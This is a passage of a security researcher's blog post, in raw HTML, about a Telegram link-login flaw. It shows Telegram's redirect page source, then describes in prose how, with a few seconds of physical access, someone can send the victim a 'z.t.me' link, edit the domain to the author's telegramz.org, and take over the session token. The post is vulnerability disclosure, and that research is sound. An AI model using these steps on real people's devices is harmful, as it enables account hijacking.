class=&#34;vs-tg&#34;&gt;&amp;lt;html&amp;gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&#34;vs-ln&#34; value=&#34;2&#34;&gt;&lt;/td&gt;&lt;td class=&#34;vs-lc&#34;&gt;&lt;span class=&#34;vs-tg&#34;&gt;&amp;lt;head&amp;gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&#34;vs-ln&#34; value=&#34;3&#34;&gt;&lt;/td&gt;&lt;td class=&#34;vs-lc&#34;&gt;&lt;span class=&#34;vs-tg&#34;&gt;&amp;lt;meta &lt;span class=&#34;vs-at&#34;&gt;name&lt;/span&gt;=&#34;&lt;span class=&#34;vs-av&#34;&gt;robots&lt;/span&gt;&#34; &lt;span class=&#34;vs-at&#34;&gt;content&lt;/span&gt;=&#34;&lt;span class=&#34;vs-av&#34;&gt;noindex, nofollow&lt;/span&gt;&#34;&amp;gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&#34;vs-ln&#34; value=&#34;4&#34;&gt;&lt;/td&gt;&lt;td class=&#34;vs-lc&#34;&gt;&lt;span class=&#34;vs-tg&#34;&gt;&amp;lt;noscript&amp;gt;&lt;/span&gt;&amp;lt;meta http-equiv=&#34;refresh&#34; content=&#34;0;url=&#39;https://web.telegram.org/a/#?tgaddr=tg%3A%2F%2Fmsg_url%3Furl%3Dlyra.horse&#39;&#34;&amp;gt;&lt;span class=&#34;vs-tg&#34;&gt;&amp;lt;/noscript&amp;gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&#34;vs-ln&#34; value=&#34;5&#34;&gt;&lt;/td&gt;&lt;td class=&#34;vs-lc&#34;&gt;&lt;span class=&#34;vs-tg&#34;&gt;&amp;lt;script&amp;gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&#34;vs-ln&#34; value=&#34;6&#34;&gt;&lt;/td&gt;&lt;td class=&#34;vs-lc&#34;&gt;try {&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&#34;vs-ln&#34; value=&#34;7&#34;&gt;&lt;/td&gt;&lt;td class=&#34;vs-lc&#34;&gt;var url = &#34;https:\/\/web.telegram.org\/a\/#?tgaddr=tg%3A%2F%2Fmsg_url%3Furl%3Dlyra.horse&#34;;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&#34;vs-ln&#34; value=&#34;8&#34;&gt;&lt;/td&gt;&lt;td class=&#34;vs-lc&#34;&gt;var hash = location.hash.toString();&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&#34;vs-ln&#34; value=&#34;9&#34;&gt;&lt;/td&gt;&lt;td class=&#34;vs-lc&#34;&gt;if (hash.substr(0, 1) == &#39;#&#39;) {&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&#34;vs-ln&#34; value=&#34;10&#34;&gt;&lt;/td&gt;&lt;td class=&#34;vs-lc&#34;&gt;  hash = hash.substr(1);&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&#34;vs-ln&#34; value=&#34;11&#34;&gt;&lt;/td&gt;&lt;td class=&#34;vs-lc&#34;&gt;}&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&#34;vs-ln&#34; value=&#34;12&#34;&gt;&lt;/td&gt;&lt;td class=&#34;vs-lc&#34;&gt;location.replace(hash ? urlAppendHashParams(url, hash) : url);&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&#34;vs-ln&#34; value=&#34;13&#34;&gt;&lt;/td&gt;&lt;td class=&#34;vs-lc&#34;&gt;} catch (e) { location.href=url; }&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&#34;vs-ln&#34; value=&#34;14&#34;&gt;&lt;/td&gt;&lt;td class=&#34;vs-lc&#34;&gt;&lt;br&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&#34;vs-ln&#34; value=&#34;15&#34;&gt;&lt;/td&gt;&lt;td class=&#34;vs-lc&#34;&gt;function urlAppendHashParams(url, addHash) {&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&#34;vs-ln&#34; value=&#34;16&#34;&gt;&lt;/td&gt;&lt;td class=&#34;vs-lc&#34;&gt;  var ind = url.indexOf(&#39;#&#39;);&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&#34;vs-ln&#34; value=&#34;17&#34;&gt;&lt;/td&gt;&lt;td class=&#34;vs-lc&#34;&gt;  if (ind &amp;lt; 0) {&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&#34;vs-ln&#34; value=&#34;18&#34;&gt;&lt;/td&gt;&lt;td class=&#34;vs-lc&#34;&gt;    return url + &#39;#&#39; + addHash;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&#34;vs-ln&#34; value=&#34;19&#34;&gt;&lt;/td&gt;&lt;td class=&#34;vs-lc&#34;&gt;  }&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&#34;vs-ln&#34; value=&#34;20&#34;&gt;&lt;/td&gt;&lt;td class=&#34;vs-lc&#34;&gt;  var curHash = url.substr(ind + 1);&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&#34;vs-ln&#34; value=&#34;21&#34;&gt;&lt;/td&gt;&lt;td class=&#34;vs-lc&#34;&gt;  if (curHash.indexOf(&#39;=&#39;) &amp;gt;= 0 || curHash.indexOf(&#39;?&#39;) &amp;gt;= 0) {&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&#34;vs-ln&#34; value=&#34;22&#34;&gt;&lt;/td&gt;&lt;td class=&#34;vs-lc&#34;&gt;    return url + &#39;&amp;amp;&#39; + addHash;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&#34;vs-ln&#34; value=&#34;23&#34;&gt;&lt;/td&gt;&lt;td class=&#34;vs-lc&#34;&gt;  }&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&#34;vs-ln&#34; value=&#34;24&#34;&gt;&lt;/td&gt;&lt;td class=&#34;vs-lc&#34;&gt;  if (curHash.length &amp;gt; 0) {&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&#34;vs-ln&#34; value=&#34;25&#34;&gt;&lt;/td&gt;&lt;td class=&#34;vs-lc&#34;&gt;    return url + &#39;?&#39; + addHash;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&#34;vs-ln&#34; value=&#34;26&#34;&gt;&lt;/td&gt;&lt;td class=&#34;vs-lc&#34;&gt;  }&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&#34;vs-ln&#34; value=&#34;27&#34;&gt;&lt;/td&gt;&lt;td class=&#34;vs-lc&#34;&gt;  return url + addHash;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&#34;vs-ln&#34; value=&#34;28&#34;&gt;&lt;/td&gt;&lt;td class=&#34;vs-lc&#34;&gt;}&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&#34;vs-ln&#34; value=&#34;29&#34;&gt;&lt;/td&gt;&lt;td class=&#34;vs-lc&#34;&gt;&lt;span class=&#34;vs-tg&#34;&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&#34;vs-ln&#34; value=&#34;30&#34;&gt;&lt;/td&gt;&lt;td class=&#34;vs-lc&#34;&gt;&lt;span class=&#34;vs-tg&#34;&gt;&amp;lt;/head&amp;gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&#34;vs-ln&#34; value=&#34;31&#34;&gt;&lt;/td&gt;&lt;td class=&#34;vs-lc&#34;&gt;&lt;span class=&#34;vs-tg&#34;&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&#34;vs-ln&#34; value=&#34;32&#34;&gt;&lt;/td&gt;&lt;td class=&#34;vs-lc&#34;&gt;&lt;span class=&#34;vs-cm&#34;&gt;&amp;lt;!-- page generated in 4.3ms --&amp;gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&#34;vs-ln&#34; value=&#34;33&#34;&gt;&lt;/td&gt;&lt;td class=&#34;vs-lc&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&lt;p&gt;I was a bit puzzled at first, but eventually realized that this is all just a simple hack to deal with URL hash fragments. The &lt;a href=&#34;https://en.wikipedia.org/wiki/URI_fragment&#34;&gt;hash fragment&lt;/a&gt; part of the URL never gets sent to the server, so the server cannot know &lt;em&gt;where&lt;/em&gt; to redirect you &lt;em&gt;if&lt;/em&gt; it also wants to add its own hash fragment. In this specific case, we have &lt;code&gt;#tgWebAuthToken=...&lt;/code&gt; in the URL already, and we want to combine it with &lt;code&gt;#?tgaddr=...&lt;/code&gt; as we redirect to the web client (so in the end we get &lt;code&gt;#?tgaddr=...&amp;amp;tgWeb​AuthToken=...&lt;/code&gt;).&lt;/p&gt;&#xA;&lt;p&gt;For the rest of the night I played around with Telegram&amp;rsquo;s various web clients. A little-known fact is that the &lt;a href=&#34;https://github.com/zhukov/webogram&#34;&gt;legacy Telegram web client&lt;/a&gt; can still be accessed to this day by going to &lt;a href=&#34;https://web.telegram.org/?legacy=1&#34;&gt;web.telegram.org/?legacy=1&lt;/a&gt;. What&amp;rsquo;s more, the session is shared between the web clients, so an exploit in the old web client might still be useful even if the target uses a modern web client.&lt;/p&gt;&#xA;&lt;p&gt;I couldn&amp;rsquo;t find anything too interesting in &lt;a href=&#34;https://github.com/morethanwords/tweb&#34;&gt;WebK&lt;/a&gt;, but both &lt;a href=&#34;https://github.com/Ajaxy/telegram-tt&#34;&gt;WebZ&lt;/a&gt; and the legacy client provided some promising leads in messing with the &lt;code&gt;tgaddr&lt;/code&gt; in the URL. It ended up being a dead end for my research though, as I couldn&amp;rsquo;t figure out a way to get rid of or bypass the ampersand in the &lt;code&gt;&amp;amp;tgWebAuthToken=...&lt;/code&gt; part of the URL. I even messed around with unicode to see if that&amp;rsquo;d somehow let me &amp;ldquo;erase&amp;rdquo; the ampersand, but it seems like UTF-8 has been designed to withstand this.&lt;/p&gt;&#xA;&lt;p&gt;I then looked into the mobile apps. Both the &lt;a href=&#34;https://github.com/TelegramMessenger/Telegram-iOS&#34;&gt;iOS&lt;/a&gt; and &lt;a href=&#34;https://github.com/DrKLO/Telegram&#34;&gt;Android&lt;/a&gt; clients support the link authentication thing, which makes the whole situation a tad more worrying considering it&amp;rsquo;s generally a lot harder to just copy a session token off a mobile device. On Android I messed around with intents, but ended up at another dead end as intents for web links have been &lt;a href=&#34;https://developer.android.com/about/versions/12/behavior-changes-12#android-app-links-verification-changes&#34;&gt;locked down since Android 12&lt;/a&gt; and require domain verification to work. I also messed around with protocol intents, but the way the app has been written prevents the token from being appended in those cases.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;So, no exploit?&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;In my research I was unable to come up with a successful remote exploit. I won&amp;rsquo;t be getting a bug bounty, but that doesn&amp;rsquo;t mean it was all in vain. Combining all the research so far, and adding a little cherry on top, we can create a scenario where we can steal someone&amp;rsquo;s Telegram session in just a few seconds of physical access to their device, no matter if it&amp;rsquo;s their computer, phone, or tablet.&lt;/p&gt;&#xA;&lt;p&gt;We start off by sending &amp;ldquo;z.t.me&amp;rdquo; in their Telegram app and tapping on the link. This will redirect their browser to &lt;code&gt;telegram.org/​#tgWebAuthToken=...&lt;/code&gt;. From here we edit the domain in the browser to &lt;code&gt;telegramz.org&lt;/code&gt; - a domain I own - and hit/tap enter. The javascript on my domain will take it from here, logging one of &lt;em&gt;my own&lt;/em&gt; devices in with the token.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Here&amp;rsquo;s a demo of me pulling off the entire attack in less than 10 seconds on an Android phone and a laptop:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;!-- I did not want to add a YouTube embed here because I want there to be no external resources in this blog unless absolutely necessary.&#xD;&#xA;Having the thumbnail be just a gradient looks a bit silly but otherwise I think it&#39;s a fairly decent replacement for the official embed. --&gt;&#xD;&#xA;&lt;style&gt;&#xD;&#xA;&#x9;.ytLink svg {&#xD;&#xA;&#x9;&#x9;filter: saturate(0.5) brightness(1.5);&#xD;&#xA;&#x9;&#x9;transform: scale(1.0);&#xD;&#xA;&#x9;&#x9;transition: transform 0.3s, filter 0.3s;&#xD;&#xA;&#x9;}&#xD;&#xA;&#x9;.ytLink:hover svg {&#xD;&#xA;&#x9;&#x9;filter: saturate(1) brightness(1);&#xD;&#xA;&#x9;&#x9;transform: scale(1.05);&#xD;&#xA;&#x9;}&#xD;&#xA;&#x9;.ytLinkOverlay {&#xD;&#xA;&#x9;&#x9;position:absolute;&#xD;&#xA;&#x9;&#x9;width:100%;&#xD;&#xA;&#x9;&#x9;height:100%;&#xD;&#xA;&#x9;&#x9;z-index:2;&#xD;&#xA;&#x9;&#x9;background: linear-gradient(180deg, rgba(0,0,0,0.5) 0%, rgba(0,0,0,0.32) 5%, rgba(0,0,0,0.1) 10%, rgba(0,0,0,0.04) 15%, rgba(0,0,0,0) 20%);&#xD;&#xA;&#x9;}&#xD;&#xA;&#x9;a:focus &gt; .ytLinkOverlay {&#xD;&#xA;&#x9;&#x9;outline: -webkit-focus-ring-color auto 1px;&#xD;&#xA;&#x9;}&#xD;&#xA;&#x9;.ytChan {&#xD;&#xA;&#x9;&#x9;min-width:40px;&#xD;&#xA;&#x9;&#x9;width:40px;&#xD;&#xA;&#x9;&#x9;height:40px;&#xD;&#xA;&#x9;&#x9;display:inline-block;&#xD;&#xA;&#x9;&#x9;background: #C0C0C0;&#xD;&#xA;&#x9;&#x9;border-radius:40px;&#xD;&#xA;&#x9;&#x9;font-family: &#39;Georgia&#39;, serif;&#xD;&#xA;&#x9;&#x9;text-align: center;&#xD;&#xA;&#x9;&#x9;font-style: italic;&#xD;&#xA;&#x9;&#x9;line-height: 38px;&#xD;&#xA;&#x9;&#x9;pointer-events:auto;&#x9;&#xD;&#xA;&#x9;}&#xD;&#xA;&#x9;.ytLink {&#xD;&#xA;&#x9;&#x9;user-select: none;&#xD;&#xA;&#x9;&#x9;width: 100%;&#xD;&#xA;&#x9;&#x9;min-height: 240px;&#xD;&#xA;&#x9;&#x9;aspect-ratio: 16 / 9;&#xD;&#xA;&#x9;&#x9;background: #FF0;&#xD;&#xA;&#x9;&#x9;background: linear-gradient(90deg, rgba(174,238,184,1) 0%, rgba(223,233,148,1) 100%);&#xD;&#xA;&#x9;&#x9;border-radius: 4px;&#xD;&#xA;&#x9;&#x9;color:#eee;&#xD;&#xA;&#x9;&#x9;font-size: 18px;&#xD;&#xA;&#x9;&#x9;font-family: &#39;YouTube Noto&#39;, Roboto, Arial, Helvetica, sans-serif;&#xD;&#xA;&#x9;&#x9;overflow:clip;&#xD;&#xA;&#x9;}&#xD;&#xA;&#x9;.tgQr div, .tgQr div circle {&#xD;&#xA;&#x9;&#x9;transform: scale(1);&#xD;&#xA;&#x9;&#x9;cursor: pointer;&#xD;&#xA;&#x9;&#x9;filter: none;&#xD;&#xA;&#x9;&#x9;transition: transform 0.2s, filter 0.2s, fill 0.3s;&#xD;&#xA;&#x9;}&#xD;&#xA;&#x9;.tgQr div:hover {&#xD;&#xA;&#x9;&#x9;transform: scale(1.05);&#xD;&#xA;&#x9;&#x9;filter: drop-shadow(2px 4px 7px #000);&#xD;&#xA;&#x9;}&#xD;&#xA;&#x9;.tgQr div circle:hover {&#xD;&#xA;&#x9;&#x9;fill: pink;&#xD;&#xA;&#x9;}&#xD;&#xA;&#x9;.tgQr {&#xD;&#xA;&#x9;&#x9;font-family: &#34;Roboto&#34;, &#34;Segoe UI&#34;, &#34;Helvetica Neue&#34;, system-ui, sans-serif;&#xD;&#xA;&#x9;&#x9;background: #212121;&#xD;&#xA;&#x9;&#x9;border-radius: 4px;&#xD;&#xA;&#x9;&#x9;color: #FFF;&#xD;&#xA;&#x9;&#x9;padding: 32px calc(50% - 180px) 16px;&#xD;&#xA;&#x9;&#x9;font-size: 16px;&#xD;&#xA;&#x9;}&#xD;&#xA;&#x9;.tgQr p {&#xD;&#xA;&#x9;&#x9;margin: 1.5rem 0 1rem 0;&#xD;&#xA;    &#x9;font-size: 1.25rem;&#xD;&#xA;&#x9;&#x9;line-height: 1.5;&#xD;&#xA;&#x9;&#x9;font-weight: 500;&#xD;&#xA;&#x9;&#x9;text-align: center;&#xD;&#xA;&#x9;}&#xD;&#xA;&#x9;.tgQr ol {&#xD;&#xA;&#x9;&#x9;padding: 0 1.75rem;&#xD;&#xA;&#x9;&#x9;margin: 0 0 1rem;&#xD;&#xA;&#x9;}&#xD;&#xA;&#x9;.tgQr li {&#xD;&#xA;&#x9;&#x9;margin: .75rem 0;&#xD;&#xA;&#x9;&#x9;display: flex;&#xD;&#xA;&#x9;&#x9;counter-increment: item;&#xD;&#xA;&#x9;}&#xD;&#xA;&#x9;.tgQr ol li::before {&#xD;&#xA;    &#x9;content: counter(item);&#xD;&#xA;    &#x9;display: flex;&#xD;&#xA;    &#x9;justify-content: center;&#xD;&#xA;    &#x9;align-items: center;&#xD;&#xA;    &#x9;min-width: 1.375rem;&#xD;&#xA;    &#x9;height: 1.375rem;&#xD;&#xA;    &#x9;margin: 0 .75rem 0 0;&#xD;&#xA;    &#x9;background: rgb(135,116,225);&#xD;&#xA;    &#x9;border-radius: 50%;&#xD;&#xA;    &#x9;font-size: smaller;&#xD;&#xA;&#x9;}&#xD;&#xA;&lt;/style&gt;&#xD;&#xA;&lt;div class=&#34;ytLink&#34; style=&#34;position:relative&#34;&gt;&#xD;&#xA;&lt;a href=&#34;https://vimeo.com/941755175&#34; target=&#34;_blank&#34;&gt;&lt;div class=&#34;ytLinkOverlay&#34;&gt;&lt;/div&gt;&lt;/a&gt;&#xD;&#xA;&lt;div style=&#34;padding:13px;display:flex;align-items:center;position:absolute;z-index:3;max-width: calc(100% - 26px);pointer-events:none&#34;&gt;&#xD;&#xA;&lt;a href=&#34;https://www.youtube.com/MLGaeming&#34; target=&#34;_blank&#34;&gt;&lt;span class=&#34;ytChan&#34;&gt;&lt;span style=&#34;color:#F00&#34;&gt;m&lt;/span&gt;&lt;span style=&#34;color:#00F&#34;&gt;l&lt;/span&gt;&lt;span style=&#34;color:#0F0&#34;&gt;g&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span style=&#34;text-shadow: 0 0 2px #0008;vertical-align: middle;padding-left:10px;display:inline-block;text-overflow: ellipsis;overflow: clip;white-space: nowrap&#34;&gt;Stealing your Telegram account in 10 seconds flat&lt;/span&gt;&lt;/div&gt;&#xD;&#xA;&lt;svg height=&#34;13%&#34; style=&#34;margin:auto;display:block;position:absolute;top:0;left:0;bottom:0;right:0&#34; viewBox=&#34;0 0 68 48&#34;&gt;&lt;path class=&#34;ytp-large-play-button-bg&#34; d=&#34;M66.52,7.74c-0.78-2.93-2.49-5.41-5.42-6.19C55.79,.13,34,0,34,0S12.21,.13,6.9,1.55 C3.97,2.33,2.27,4.81,1.48,7.74C0.06,13.05,0,24,0,24s0.06,10.95,1.48,16.26c0.78,2.93,2.49,5.41,5.42,6.19 C12.21,47.87,34,48,34,48s21.79-0.13,27.1-1.55c2.93-0.78,4.64-3.26,5.42-6.19C67.94,34.95,68,24,68,24S67.94,13.05,66.52,7.74z&#34; fill=&#34;#f00&#34;&gt;&lt;/path&gt;&lt;path d=&#34;M 45,24 27,14 27,34&#34; fill=&#34;#fff&#34;&gt;&lt;/path&gt;&lt;/svg&gt;&#xD;&#xA;&lt;div style=&#34;position:absolute;bottom: 8px;background:#171717cc;width:fit-content;height:47px;font-size:16px;font-weight:500;display:flex;align-items: center&#34;&gt;&lt;span style=&#34;margin: 12px&#34;&gt;Watch on YouTube&lt;/span&gt;&lt;/div&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&lt;p&gt;&lt;em&gt;Note: YouTube has removed &lt;a href=&#34;https://www.youtube.com/watch?v=5DQrPEr1gGk&#34;&gt;my video&lt;/a&gt; for a community guidelines violation. Educational content like this is allowed, but I believe their review team confused my video with a hacking tutorial (probably due to livesplit splits looking too much like a step-by-step instruction). They&amp;rsquo;ve also refused my appeal. You can watch a &lt;a href=&#34;https://cdn.hobune.stream/tg_video_1080p.mp4&#34;&gt;plain mp4&lt;/a&gt;, &lt;a href=&#34;https://vimeo.com/941755175&#34;&gt;a Vimeo upload&lt;/a&gt;, or &lt;a href=&#34;https://twitter.com/rebane2001/status/1785791628533195209&#34;&gt;this twitter post&lt;/a&gt; instead.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;This attack is incredibly easy to pull off even for a low-skill attacker. Assuming some higher forces have already set up a custom domain for you, all you need to know is how to tap on a link and add a letter onto the URL bar. You don&amp;rsquo;t need any specialized tools, you don&amp;rsquo;t need to know anything about the target, you don&amp;rsquo;t even need a phone.&lt;/p&gt;&#xA;&lt;p&gt;So what should Telegram do about this?&lt;/p&gt;&#xA;&lt;div class=&#34;tgQr&#34; role=figure aria-label=&#34;Telegram QR Code login&#34;&gt;&#xD;&#xA;&lt;div style=&#34;margin: 0 auto;width:280px;aspect-ratio:1/1;max-width:100%;background:#FFF;border-radius:24px&#34;&gt;&lt;a href=&#34;https://lyra.horse/antonymph/&#34; target=&#34;_blank&#34;&gt;&lt;!--&#xD;&#xA;I recreated the QR code SVG from scratch because the one auto-generated by Telegram is very inefficient as a static asset for the blog :c --&gt;&lt;svg fill=&#34;none&#34; stroke=&#34;#000&#34; stroke-width=&#34;8&#34; stroke-linecap=&#34;round&#34; stroke-linejoin=&#34;round&#34; viewBox=&#34;0 0 280 280&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&#xD;&#xA;&lt;!-- QR data --&gt;&#xD;&#xA;&lt;polyline points=&#34;92 28 100 28 100 36 108 36&#34;/&gt;&lt;polyline points=&#34;124 28 124 36 132 36 124 36 124 44 116 44 116 68 100 68 108 68 108 76 108 60 132 60 132 52 132 60 140 60 140 84 156 84 156 76&#34;/&gt;&lt;polyline points=&#34;148 68 117.2 68 124 68 124 84 116 84 116 92&#34;/&gt;&lt;polyline points=&#34;132 92 132 100 124 100&#34;/&gt;&lt;polyline points=&#34;84 116 108 116 108 100 84 100 84 92 76 92 100 92 100 84 100 108 100 116 100 108 116 108&#34;/&gt;&lt;polyline points=&#34;180 44 180 52 148 52 148 44 164 44 164 28 188 28 172 28 172 36 164 36 164 52 156 52 156 60&#34;/&gt;&lt;polyline points=&#34;172 76 172 68 188 68 188 76 188 60&#34;/&gt;&lt;polyline points=&#34;188 116 188 108 180 108 180 100 180 108 164 108 164 92 164 100 156 100&#34;/&gt;&lt;line x1=&#34;188&#34; x2=&#34;196&#34; y1=&#34;92&#34; y2=&#34;92&#34;/&gt;&lt;polyline points=&#34;236 116 236 100 244 100 244 108 236 108&#34;/&gt;&lt;polyline points=&#34;212 100 220 100 220 116&#34;/&gt;&lt;polyline points=&#34;52 92 36 92 36 100&#34;/&gt;&lt;polyline points=&#34;252 148.9 252 132 244 132 252 132 252 124&#34;/&gt;&lt;polyline points=&#34;196 140 188 140 188 148&#34;/&gt;&lt;polyline points=&#34;68 100 68 108 76 108 68 108 68 116&#34;/&gt;&lt;polyline points=&#34;92 156 92 164 100 164 100 156 76 156 84 156 84 140 76 140&#34;/&gt;&lt;line x1=&#34;28&#34; x2=&#34;28&#34; y1=&#34;108&#34; y2=&#34;116&#34;/&gt;&lt;polyline points=&#34;36 124 36 132 44 132 36 132 36 140&#34;/&gt;&lt;polyline points=&#34;28 148 28 156 36 156 36 164&#34;/&gt;&lt;polyline points=&#34;68 148 60 148 60 164 68 164 52 164 52 156 60 156 60 188&#34;/&gt;&lt;polyline points=&#34;76 172 84 172 84 180 100 180 84 180 84 188 76 188&#34;/&gt;&lt;line x1=&#34;92&#34; x2=&#34;92&#34; y1=&#34;196&#34; y2=&#34;204&#34;/&gt;&lt;polyline points=&#34;116 228 116 220 100 220 108 220 108 204 132 204 132 220 132 212 124 212 124 204 148 204 140 204 140 188 124 188 124 180 132 180 132 188&#34;/&gt;&lt;polyline points=&#34;92 228 92 244 100 244 100 236 92 236&#34;/&gt;&lt;polyline points=&#34;124 252 132 252 132 244&#34;/&gt;&lt;polyline points=&#34;172 252 164 252 164 236 156 236 156 228 156 236 140 236 140 228&#34;/&gt;&lt;polyline points=&#34;148 180 172 180 172 164 172 172 180 172&#34;/&gt;&lt;polyline points=&#34;172 228 172 220 164 220 164 204 164 212 156 212&#34;/&gt;&lt;line x1=&#34;188&#34; x2=&#34;188&#34; y1=&#34;236&#34; y2=&#34;252&#34;/&gt;&lt;polyline points=&#34;212 156 212 140 228 140 228 132 220 132 220 140 236 140 236 164 244 164 244 180 252 180 244 180 244 156 236 156 236 164 220 164 220 172 196 172 196 164 188 164&#34;/&gt;&lt;polyline points=&#34;228 164 228 196 220 196 220 172 204 172 204 180 204 188 204 180 220 180 220 188 180 188 180 204 188 204 188 188 188 220 204 220 204 236 204 228 196 228 196 220 220 220 220 196 220 228 244 228 244 236 252 236 236 236 236 244 228 244 228 228 236 228 236 236 236 220 244 220 244 228 236 228 236 204 252 204 252 196 252 212 252 204 236 204 236 212 220 212&#34;/&gt;&lt;line x1=&#34;204&#34; x2=&#34;204&#34; y1=&#34;204&#34; y2=&#34;204&#34;/&gt;&lt;line x1=&#34;244&#34; x2=&#34;244&#34; y1=&#34;252&#34; y2=&#34;252&#34;/&gt;&lt;line x1=&#34;148&#34; x2=&#34;148&#34; y1=&#34;252&#34; y2=&#34;252&#34;/&gt;&lt;line x1=&#34;148&#34; x2=&#34;148&#34; y1=&#34;220&#34; y2=&#34;220&#34;/&gt;&lt;line x1=&#34;108&#34; x2=&#34;108&#34; y1=&#34;188&#34; y2=&#34;188&#34;/&gt;&lt;line x1=&#34;108&#34; x2=&#34;108&#34; y1=&#34;172&#34; y2=&#34;172&#34;/&gt;&lt;line x1=&#34;44&#34; x2=&#34;44&#34; y1=&#34;188&#34; y2=&#34;188&#34;/&gt;&lt;line x1=&#34;28&#34; x2=&#34;28&#34; y1=&#34;172&#34; y2=&#34;172&#34;/&gt;&lt;line x1=&#34;44&#34; x2=&#34;44&#34; y1=&#34;148&#34; y2=&#34;148&#34;/&gt;&lt;line x1=&#34;76&#34; x2=&#34;76&#34; y1=&#34;124&#34; y2=&#34;124&#34;/&gt;&lt;line x1=&#34;52&#34; x2=&#34;52&#34; y1=&#34;108&#34; y2=&#34;108&#34;/&gt;&lt;line x1=&#34;92&#34; x2=&#34;92&#34; y1=&#34;76&#34; y2=&#34;76&#34;/&gt;&lt;path d=&#34;m148 108&#34;/&gt;&lt;line x1=&#34;180&#34; x2=&#34;180&#34; y1=&#34;132&#34; y2=&#34;132&#34;/&gt;&lt;line x1=&#34;196&#34; x2=&#34;196&#34; y1=&#34;124&#34; y2=&#34;124&#34;/&gt;&lt;line x1=&#34;212&#34; x2=&#34;212&#34; y1=&#34;124&#34; y2=&#34;124&#34;/&gt;&lt;line x1=&#34;204&#34; x2=&#34;204&#34; y1=&#34;108&#34; y2=&#34;108&#34;/&gt;&lt;line x1=&#34;252&#34; x2=&#34;252&#34; y1=&#34;92&#34; y2=&#34;92&#34;/&gt;&lt;line x1=&#34;148&#34; x2=&#34;148&#34; y1=&#34;28&#34; y2=&#34;28&#34;/&gt;&#xD;&#xA;&lt;!-- QR position --&gt;&#xD;&#xA;&lt;polyline points=&#34;52 44 52 60 60 60 60 44 44 44 44 60 52 60&#34;/&gt;&lt;path d=&#34;m44 28h16c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16h-16c-8.8 0-16-7.2-16-16v-16c0-8.8 7.2-16 16-16z&#34;/&gt;&lt;polyline points=&#34;52 220 52 236 60 236 60 220 44 220 44 236 52 236&#34;/&gt;&lt;path d=&#34;m44 204h16c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16h-16c-8.8 0-16-7.2-16-16v-16c0-8.8 7.2-16 16-16z&#34;/&gt;&lt;polyline points=&#34;228 44 228 60 236 60 236 44 220 44 220 60 228 60&#34;/&gt;&lt;path d=&#34;m220 28h16c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16h-16c-8.8 0-16-7.2-16-16v-16c0-8.8 7.2-16 16-16z&#34;/&gt;&#xD;&#xA;&lt;!-- TG logo --&gt;&#xD;&#xA;&lt;circle fill=&#34;#3390EC&#34; stroke=&#34;none&#34; cx=&#34;140&#34; cy=&#34;140&#34; r=&#34;32&#34;/&gt;&lt;path fill=&#34;#FFF&#34; stroke=&#34;none&#34; d=&#34;m131 143.6c5.7-3.8 11.4-7.5 14.8-9.2 0.7-0.5 1.5 0.5 0.9 1.1-2.6 3.3-6.5 6.6-10.8 10.8-0.8 0.8-0.6 2 0.3 2.6 3.5 2.6 7.7 5.2 12.2 7.8 1.8 1.1 4.2 0.1 4.5-2 1.7-9.1 3-17.7 3.9-25.8 0.3-1.9-1.6-3.5-3.5-2.7-10.4 4-21.8 8.8-34.3 14.1-1 0.5-1.6 1.5-0.1 2.3l4.5 